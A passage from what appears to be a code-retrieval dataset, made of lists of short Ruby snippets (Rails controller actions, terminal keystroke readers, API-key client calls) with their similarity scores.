"def getKey\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n# key = STDIN.getc.chr\n key = STDIN.getbyte\n # gather next two characters of special keys\n if(key == \"\\e\")\n extra_thread = Thread.new{\n# key << STDIN.getc.chr\n# key << STDIN.getc.chr\n key << STDIN.getbyte\n key << STDIN.getbyte\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00010)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n# rescue => ex\n# puts \"#{ex.class}: #{ex.message}\"\n# puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return key\nend",
"def validate_strokes\n begin\n e('Illegal strokes') unless\n params[:strokes] &&\n strokes = JSON(params[:strokes]) #&&\n # !strokes.empty? &&\n # !strokes.first.empty?\n # TODO more thorough checks\n rescue\n e('Illegal strokes')\n end\n strokes\n end",
"def show\n @key_point = KeyPoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_point }\n end\n end",
"def key(key_id, options = {})\n get \"/user/keys/#{key_id}\", options\n end",
"def key_stroke(keycodeText)\n append_to_script \"key_stroke \\\"#{keycodeText}\\\"\"\n end",
"def keys(options={})\n get(\"/user/keys\", options, 3)\n end",
"def keypress(key)\n puts \"Got key: #{key} (#{key.class})\"\n if key.is_a?(String)\n if key.length == 1\n # Assume letter\n @vnc.keyevent(key.chr, true)\n @vnc.keyevent(key.chr, false)\n else\n # Assume keysym\n puts \"I don't know how to type '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end\n else\n # type printables, key others.\n if 32.upto(127).include?(key)\n @vnc.keyevent(key, true)\n @vnc.keyevent(key, false)\n else\n case key\n when 8 \n @vnc.keyevent(0xff08, true)\n @vnc.keyevent(0xff08, false)\n when 13\n @vnc.keyevent(0xff0D, true)\n @vnc.keyevent(0xff0D, false)\n else\n puts \"I don't know how to type web keycode '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end # case key\n end # if 32.upto(127).include?(key)\n end # if key.is_a?String\n return nil\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n RTermGame.println \"SPACE\"\n when \"\\t\"\n RTermGame.println \"TAB\"\n when \"\\r\"\n RTermGame.println \"RETURN\"\n when \"\\n\"\n RTermGame.println \"LINE FEED\"\n when \"\\e\"\n RTermGame.println \"ESCAPE\"\n when \"\\e[A\"\n RTermGame.println \"UP ARROW\"\n when \"\\e[B\"\n RTermGame.println \"DOWN ARROW\"\n when \"\\e[C\"\n RTermGame.println \"RIGHT ARROW\"\n when \"\\e[D\"\n RTermGame.println \"LEFT ARROW\"\n when \"\\177\"\n RTermGame.println \"BACKSPACE\"\n when \"\\004\"\n RTermGame.println \"DELETE\"\n when \"\\e[3~\"\n RTermGame.println \"ALTERNATE DELETE\"\n when \"\\u0003\"\n RTermGame.println \"CONTROL-C\"\n exit 0\n when /^.$/\n RTermGame.println \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n RTermGame.println \"SOMETHING ELSE: #{c.inspect}\"\n end\nend",
"def new\n @title = \"Nuova Key Word\"\n @key_word = KeyWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_word }\n end\n end",
"def show\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitty }\n end\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts \"RETURN\"\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n when \"\\e[A\"\n puts \"UP ARROW\"\n when \"\\e[B\"\n puts \"DOWN ARROW\"\n when \"\\e[C\"\n puts \"RIGHT ARROW\"\n when \"\\e[D\"\n puts \"LEFT ARROW\"\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when /^.$/\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameOver\n when \"\\e[A\"\n move(c)\n when \"\\e[B\"\n move(c)\n when \"\\e[C\"\n move(c)\n when \"\\e[D\"\n move(c)\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n end\nend",
"def keys\n JSON.parse get('/users/ssh_keys', :accept => 'json').to_s\n end",
"def index\n @keyholders = Keyholder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keyholders }\n end\n end",
"def show\n @key_person = KeyPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_person }\n end\n end",
"def ssh_key(id)\n get(\"/user/keys/#{id}\")\n end",
"def get(url, key)\n _request(url, :GET, key)\n end",
"def keys(pattern = \"*\")\n send_command([:keys, pattern]) do |reply|\n if reply.is_a?(String)\n reply.split(\" \")\n else\n reply\n end\n end\n end",
"def read_single_key\n c = read_char\n\n case c\n\n when \"\\r\"\n return \"RETURN\"\n when \"\\e\"\n return \"SAVE\"\n when \"\\e[A\"\n return \"w\"\n when \"\\e[B\"\n return \"s\"\n when \"\\e[C\"\n return \"d\"\n when \"\\e[D\"\n return \"a\"\n\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n else\n return \"SOMETHING ELSE: #{c.inspect}\"\n end\n end",
"def show_single_key\nc = read_char\ncase c\nwhen \" \"\nreturn \"SPACE\"\nwhen \"\\t\"\nreturn \"TAB\"\nwhen \"\\r\"\nreturn \"RETURN\"\nwhen \"\\n\"\nreturn \"LINE FEED\"\nwhen \"\\e\"\nreturn \"ESCAPE\"\nwhen \"\\e[A\"\nreturn \"UP ARROW\"\nwhen \"\\e[B\"\nreturn \"DOWN ARROW\"\nwhen \"\\e[C\"\nreturn \"RIGHT ARROW\"\nwhen \"\\e[D\"\nreturn \"LEFT ARROW\"\nwhen \"\\177\"\nreturn \"BACKSPACE\"\nwhen \"\\004\"\nreturn \"DELETE\"\nwhen \"\\e[3~\"\nreturn \"ALTERNATE DELETE\"\nwhen \"\\u0003\"\nreturn \"CONTROL-C\"\nexit 0\nwhen /^.$/\nreturn \"SINGLE CHAR HIT: #{c.inspect}\"\nelse\nreturn \"SOMETHING ELSE: #{c.inspect}\"\nend\nend",
"def draw_key_command(key, index)\n rect = item_rect_for_text(index)\n change_color(normal_color)\n draw_text(rect.x, rect.y, rect.width/2, line_height, Vocab.command_name(key))\n if $game_system.xinput_key_set[key]\n change_color(crisis_color)\n draw_text(rect.width/2, rect.y, rect.width/2, line_height, Vocab.gamepad_key($game_system.xinput_key_set[key]), 1)\n else\n change_color(knockout_color)\n draw_text(rect.width/2, rect.y, rect.width/2, line_height, ControllerSettings::NO_KEY_SET, 1)\n end\n end",
"def how_to\n system(\"clear\")\n font = font_instance\n prompt = prompt_instance\n file = File.read('how_to_play.json')\n how_to=JSON.parse(file)\n puts font.write(\"How To Play\")\n puts how_to \n prompt.select(\"\", show_help: :never) do |menu|\n menu.choice \"Back\", -> {start_menu} \n end\nend",
"def key1\n self.key('key1')\n end",
"def show\n @secret_word = SecretWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @secret_word }\n end\n end",
"def get(key)\n Lib.get @path, @no_follow, key.to_s\n end",
"def getch\n map_key(key_press)\n end",
"def show\n render :json => @secret_key.to_json({})\n end",
"def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end",
"def getch\n @window.getch\n end",
"def show\n @monkey = Monkey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monkey }\n end\n end",
"def read\n @window.getch\n end",
"def getch\n\n end",
"def show\n @glyph = Glyph.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @glyph }\n end\n end",
"def getchar\n @key_reader.getchar\n end",
"def show\n @scratcher = Scratcher.find(params[:id])\n\n render json: @scratcher\n end",
"def new\n @key = Key.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key }\n end\n end",
"def list_api_keys(opts = {})\n @transporter.read(:GET, '/1/keys', {}, opts)\n end",
"def list\n render json: Input.all.map{|i| {id: i.id, key: i.key}}\n end",
"def keymap_url(version)\n \"http://configure.ergodox-ez.com/keyboard_layouts/#{version}/edit\"\nend",
"def index\n characters = @project.characters.all\n render json: { characters: characters }\n end",
"def index\n\t\t@keyboard_shortcut_profiles = current_user.keyboard_shortcut_profiles.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcut_profiles }\n\t\t\tformat.json { render :json => @keyboard_shortcut_profiles }\n\t\t\tformat.yaml { render :text => @keyboard_shortcut_profiles.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def show_single_key\n c = read_char\n \n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts @cursor_pos\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n \n\n when \"\\e[A\" ##up\n print \"\\033[1A\\033\"\n @cursor_pos[1] -= 1\n when \"\\e[B\" ##down\n print \"\\033[1B\\033\"\n @cursor_pos[1] += 1\n when \"\\e[C\" ##right\n print \"\\033[1C\\033\"\n @cursor_pos[0] += 1\n when \"\\e[D\" ##left\n print \"\\033[1D\\033\"\n @cursor_pos[0] -= 1\n \n\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when \"f\"\n puts \"flag\"\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n\n #p @cursor_pos\nend",
"def show\n render json: @key_feature\n end",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def draw_key(index, key)\n x = index * @actor.battler_combo[key][2]\n if Input_Images\n bitmap = @images_bitmaps[Input.key_image(key)]\n self.contents.blt(x, 4, bitmap, Rect.new(0, 0, 24, 24))\n else\n self.contents.draw_text(x + 8, 0, 24, 32, Input.key_converter(key))\n end\n end",
"def index\n @commands = Command.all\n render :json => @commands\n end",
"def key\n Net::HTTP.get(@uri.host, \"#{@uri.request_uri}key\", @uri.port)\n end",
"def show\n api = Apikey.find_by(api_key: params[:api_key])\n api['count'] += 1\n if api.save\n word = params[:word_id]\n\n word_id = Word.where(word_name: word)\n @definitions = Definition.where(word_id: word_id.ids)\n render json:{\n id: @definitions\n }\n else\n flash[:notice] = 'Invalid'\n redirect_to apikeys_path\n end\n end",
"def show\n @whiskey = Whiskey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @whiskey }\n format.xml { render :xml => @whiskey }\n end\n end",
"def getdifficulty\n @api.request 'getdifficulty'\n end",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def new\n\t\t@keyboard_shortcut = current_user.keyboard_shortcuts.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcut }\n\t\t\tformat.json { render :json => @keyboard_shortcut }\n\t\t\tformat.yaml { render :text => @keyboard_shortcut.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def get_character_hash(link)\n all_characters = RestClient.get(link)\n character_hash = JSON.parse(all_characters)\nend",
"def show\n render json: @character\n end",
"def show\n @kv = Kv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kv }\n end\n end",
"def rl_read_key()\r\n @rl_key_sequence_length+=1\r\n\r\n if (@rl_pending_input!=0)\r\n c = @rl_pending_input\r\n rl_clear_pending_input()\r\n else\r\n # If the user has an event function, then call it periodically.\r\n if (@rl_event_hook)\r\n while (@rl_event_hook && (c=rl_get_char()).nil?)\r\n\r\n send(@rl_event_hook)\r\n if (@rl_done) # XXX - experimental\r\n return (\"\\n\")\r\n end\r\n if (rl_gather_tyi() < 0) # XXX - EIO\r\n @rl_done = true\r\n return (\"\\n\")\r\n end\r\n end\r\n\r\n else\r\n\r\n if (c=rl_get_char()).nil?\r\n c = send(@rl_getc_function,@rl_instream)\r\n end\r\n end\r\n end\r\n\r\n return (c)\r\n end",
"def getdifficulty\n request :getdifficulty\n end",
"def view_api\n api_string = RestClient.get(\"https://itunes.apple.com/search?term=star+wars&entity=song&attribute=movieTerm\")\n api_hash = JSON.parse(api_string)\n\n end",
"def keys\n ::M2X::Client::Key.list(@client, params.merge(device: self[\"id\"]))\n end",
"def key(key_id)\n from_resource :key,\n connection.get(api_uri(\"keys/#{key_id}\"))\n end",
"def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end",
"def get_xkcd(number)\n \t\t# This works too\n \t\t# JSON.parse self.class.get(\"http://xkcd-unofficial-api.herokuapp.com/xkcd?num=#{number}\")\n \t\tJSON.parse HTTParty.get(\"http://xkcd-unofficial-api.herokuapp.com/xkcd?num=#{number}\")\n \tend",
"def get_xkcd(number)\n \t\t# This works too\n \t\t# JSON.parse self.class.get(\"http://xkcd-unofficial-api.herokuapp.com/xkcd?num=#{number}\")\n \t\tJSON.parse HTTParty.get(\"http://xkcd-unofficial-api.herokuapp.com/xkcd?num=#{number}\")\n \tend",
"def draw_key(index, skill, key, input)\n x = (4 + index % 2 * (288 + 32)) + (width / (2 * @column_max)) - (Combo_Skill[skill][0].size * Base_Cost / 2) - 16 + key * @actor.battler_combo[input][2]\n if Input_Images\n bitmap = @images_bitmaps[Input.key_image(input)]\n self.contents.blt(x, (index / 2 * 52) + 32, bitmap, Rect.new(0, 0, 24, 24))\n else\n self.contents.draw_text(x, (index / 2 * 52) + 28, 24, 32, Input.key_converter(input))\n end\n end",
"def show\n @login_key = LoginKey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @login_key }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @public_key }\n end\n end",
"def show\n @kisalli = Kisalli.find_by_key(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kisalli }\n end\n end",
"def shortcut\r\n @beer = Beer.find_by_key!( params[:key] )\r\n render :show\r\n end",
"def answer_keys\n [key]\n end",
"def draw_key(index, skill, key, input)\n x = (width / 2) - (Combo_Skill[skill][0].size * Base_Cost / 2) - 16 + key * @actor.battler_combo[input][2]\n if Input_Images\n bitmap = @images_bitmaps[Input.key_image(input)]\n self.contents.blt(x, ((index % @max_size) * 52) + 60, bitmap, Rect.new(0, 0, 24, 24))\n else\n self.contents.draw_text(x, ((index % @max_size) * 52) + 56, 24, 32, Input.key_converter(input))\n end\n end",
"def keypress\n begin\n _call = direction\n if _call.present?\n _call.keypress(params) if defined?(_call.keypress)\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n end\n render :plain => '', content_type: \"text/html\", :status => 200\n end",
"def show\n @word_pair = WordPair.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_pair }\n end\n end",
"def query_prompt\n @key\n end",
"def show\n @activation_key = ActivationKey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activation_key }\n end\n end",
"def json_get(path, params={})\n json_request(:get, path, params)\n end",
"def json_req(uri)\n begin\n resp = RestClient.get(uri, accept: :json)\n rescue RestClient::ExceptionWithResponse => e\n code = e.response.code\n raise RequestError.new(\"failed to retrieve JWK, status #{code}\", code)\n end\n\n JSON.parse resp.body\n end",
"def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend",
"def read_key; end",
"def show\n\t\t@keyboard_shortcut_profile = current_user.keyboard_shortcut_profiles.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcut_profile }\n\t\t\tformat.json { render :json => @keyboard_shortcut_profile }\n\t\t\tformat.yaml { render :text => @keyboard_shortcut_profile.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def get_api_key(key_id, opts = {})\n @transporter.read(:GET, path_encode('/1/keys/%s', key_id), {}, opts)\n end",
"def get key\n deserialize backend.get key.to_s rescue nil\n end"
] |
[
"0.6878949",
"0.61304903",
"0.5849774",
"0.57377934",
"0.57247007",
"0.5721642",
"0.5517294",
"0.54333633",
"0.54104704",
"0.53931254",
"0.5384326",
"0.5371188",
"0.5366341",
"0.53542",
"0.5346104",
"0.5280844",
"0.5267479",
"0.5240085",
"0.52262574",
"0.52258515",
"0.5220722",
"0.5208217",
"0.52026355",
"0.5200853",
"0.51906556",
"0.5161168",
"0.5158233",
"0.51553714",
"0.5079087",
"0.5069372",
"0.504604",
"0.5044703",
"0.5029588",
"0.5015936",
"0.5013433",
"0.5004968",
"0.4997859",
"0.49937138",
"0.4980361",
"0.497243",
"0.49475294",
"0.49416015",
"0.4923765",
"0.49193516",
"0.4906287",
"0.49042124",
"0.49005783",
"0.4895512",
"0.48902893",
"0.48857325",
"0.48821804",
"0.48707813",
"0.4869977",
"0.48642498",
"0.48594698",
"0.4858802",
"0.4856379",
"0.4844933",
"0.48264962",
"0.4826086",
"0.4824059",
"0.48210463",
"0.48197398",
"0.48191178",
"0.48155797",
"0.4811188",
"0.48086032",
"0.48053902",
"0.48025647",
"0.48016214",
"0.47997686",
"0.479717",
"0.47957242",
"0.47931993",
"0.4779722",
"0.47707507",
"0.47686592",
"0.47682017",
"0.4764858",
"0.4763647",
"0.47483566",
"0.47483566",
"0.47436032",
"0.47287822",
"0.47215757",
"0.47179306",
"0.4715503",
"0.47147787",
"0.47112146",
"0.47073773",
"0.47062272",
"0.4705905",
"0.470474",
"0.4702955",
"0.47016722",
"0.46999794",
"0.46977296",
"0.46973827",
"0.46887302",
"0.46814898"
] |
0.7360926
|
0
|
GET /keystrokes/new GET /keystrokes/new.json
|
def new
@keystroke = Keystroke.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @keystroke }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @key = Key.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key }\n end\n end",
"def create\n @keystroke = Keystroke.new(params[:keystroke])\n\n respond_to do |format|\n if @keystroke.save\n format.html { redirect_to @keystroke, notice: 'Keystroke was successfully created.' }\n format.json { render json: @keystroke, status: :created, location: @keystroke }\n else\n format.html { render action: \"new\" }\n format.json { render json: @keystroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @keyholder = Keyholder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keyholder }\n end\n end",
"def new\n @title = \"Nuova Key Word\"\n @key_word = KeyWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_word }\n end\n end",
"def new\n @key_pair = KeyPair.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_pair }\n end\n end",
"def new\n\t\t@keyboard_shortcut = current_user.keyboard_shortcuts.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcut }\n\t\t\tformat.json { render :json => @keyboard_shortcut }\n\t\t\tformat.yaml { render :text => @keyboard_shortcut.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def new\n @topickey = Topickey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topickey }\n end\n end",
"def new\n @key_point = KeyPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_point }\n end\n end",
"def show\n @keystroke = Keystroke.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @keystroke }\n end\n end",
"def newkeys\n send_command(:newkeys)\n Destination.parse(read_response)\n end",
"def new\n @key_person = KeyPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_person }\n end\n end",
"def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monkey }\n end\n end",
"def new\n @key_word_set = KeyWordSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_word_set }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @public_key }\n end\n end",
"def new\n @kv = Kv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kv }\n end\n end",
"def new\n @kitty = Kitty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kitty }\n end\n end",
"def new\n @whiskey = Whiskey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @whiskey }\n format.xml { render :xml => @whiskey }\n end\n end",
"def new\n @keyword = Keyword.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keyword }\n end\n end",
"def new\n @keyword = Keyword.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keyword }\n end\n end",
"def new\n @login_key = LoginKey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @login_key }\n end\n end",
"def create\n @key = Key.new(params[:key])\n\n respond_to do |format|\n if @key.save\n format.html { redirect_to @key, notice: 'Key was successfully created.' }\n format.json { render json: @key, status: :created, location: @key }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @secret_word = SecretWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @secret_word }\n end\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def new\n @dictionary = Dictionary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dictionary }\n end\n end",
"def new\n @go_term = GoTerm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @go_term }\n end\n end",
"def new\n @glyph = Glyph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @glyph }\n end\n end",
"def new\n\t\t@keyboard_shortcut_profile = current_user.keyboard_shortcut_profiles.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcut_profile }\n\t\t\tformat.json { render :json => @keyboard_shortcut_profile }\n\t\t\tformat.yaml { render :text => @keyboard_shortcut_profile.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def new\n @activation_key = ActivationKey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activation_key }\n end\n end",
"def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hack }\n end\n end",
"def new\n @word_pair = WordPair.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word_pair }\n end\n end",
"def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @press }\n end\n end",
"def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @hack }\n end\n end",
"def new\n @kid = Kid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kid }\n end\n end",
"def new\n @letter = Letter.new(params[:letter])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @letter }\n end\n end",
"def new\n @kit = Kit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kit }\n end\n end",
"def new\n @special_word = SpecialWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @special_word }\n end\n end",
"def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end",
"def new\n @key_pair = KeyPair.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @key_pair }\n end\n end",
"def new\n @entry = Entry.new\n\n render json: @entry\n end",
"def new\n @keyword = Keyword.new\n \n drop_breadcrumb('新增')\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keyword }\n end\n end",
"def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hacker }\n end\n end",
"def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hacker }\n end\n end",
"def new\n @kb = Kb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @kb }\n end\n end",
"def new\n authenticate_user!\n authorize! :index, @user, :message => 'Not authorized as an administrator.'\n \n @key_policy_maker = KeyPolicyMaker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_policy_maker }\n end\n end",
"def new\n @paper_word = PaperWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paper_word }\n end\n end",
"def new\n @kpt = Kpt.new\n @iterations = Iteration.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kpt }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @secret_record }\n end\n end",
"def new\n @talk = Talk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @talk }\n end\n end",
"def new\n @talk = Talk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @talk }\n end\n end",
"def new\n @command_item = CommandItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @command_item }\n end\n end",
"def new\n @escapetunnel = Escapetunnel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @escapetunnel }\n end\n end",
"def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end",
"def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end",
"def create\n @key = Key.new(key_params)\n\n if @key.save\n render json: @key, status: :created, location: api_key_url(@key)\n else\n render json: @key.errors, status: :unprocessable_entity\n end\n end",
"def new\n @key_pair = KeyPair.new\n @key_pair.key_pair_params.build( :name => 'ROLES' )\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @key_pair }\n end\n end",
"def new\n @wk = Wk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wk }\n end\n end",
"def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end",
"def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end",
"def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end",
"def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end",
"def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end",
"def new\n authorize! :new, Schedule, :message => 'Not authorized as an administrator.'\n @schedule = Schedule.new(key: params[:key])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schedule }\n end\n end",
"def new\n @kolegiji = Kolegiji.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kolegiji }\n end\n end",
"def new\n @commander = Commander.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commander }\n end\n end",
"def new\n @click_thru = ClickThru.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @click_thru }\n end\n end",
"def new\n @dartboard = Dartboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dartboard }\n end\n end",
"def new\n @rainbow = Rainbow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rainbow }\n end\n end",
"def new\n @talk = Talk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @talk }\n end\n end",
"def create\n @key_word = KeyWord.new(params[:key_word])\n\n respond_to do |format|\n if @key_word.save\n format.html { redirect_to @key_word, notice: 'Key word was successfully created.' }\n format.json { render json: @key_word, status: :created, location: @key_word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_word.errors, status: :unprocessable_entity }\n end\n end\n end",
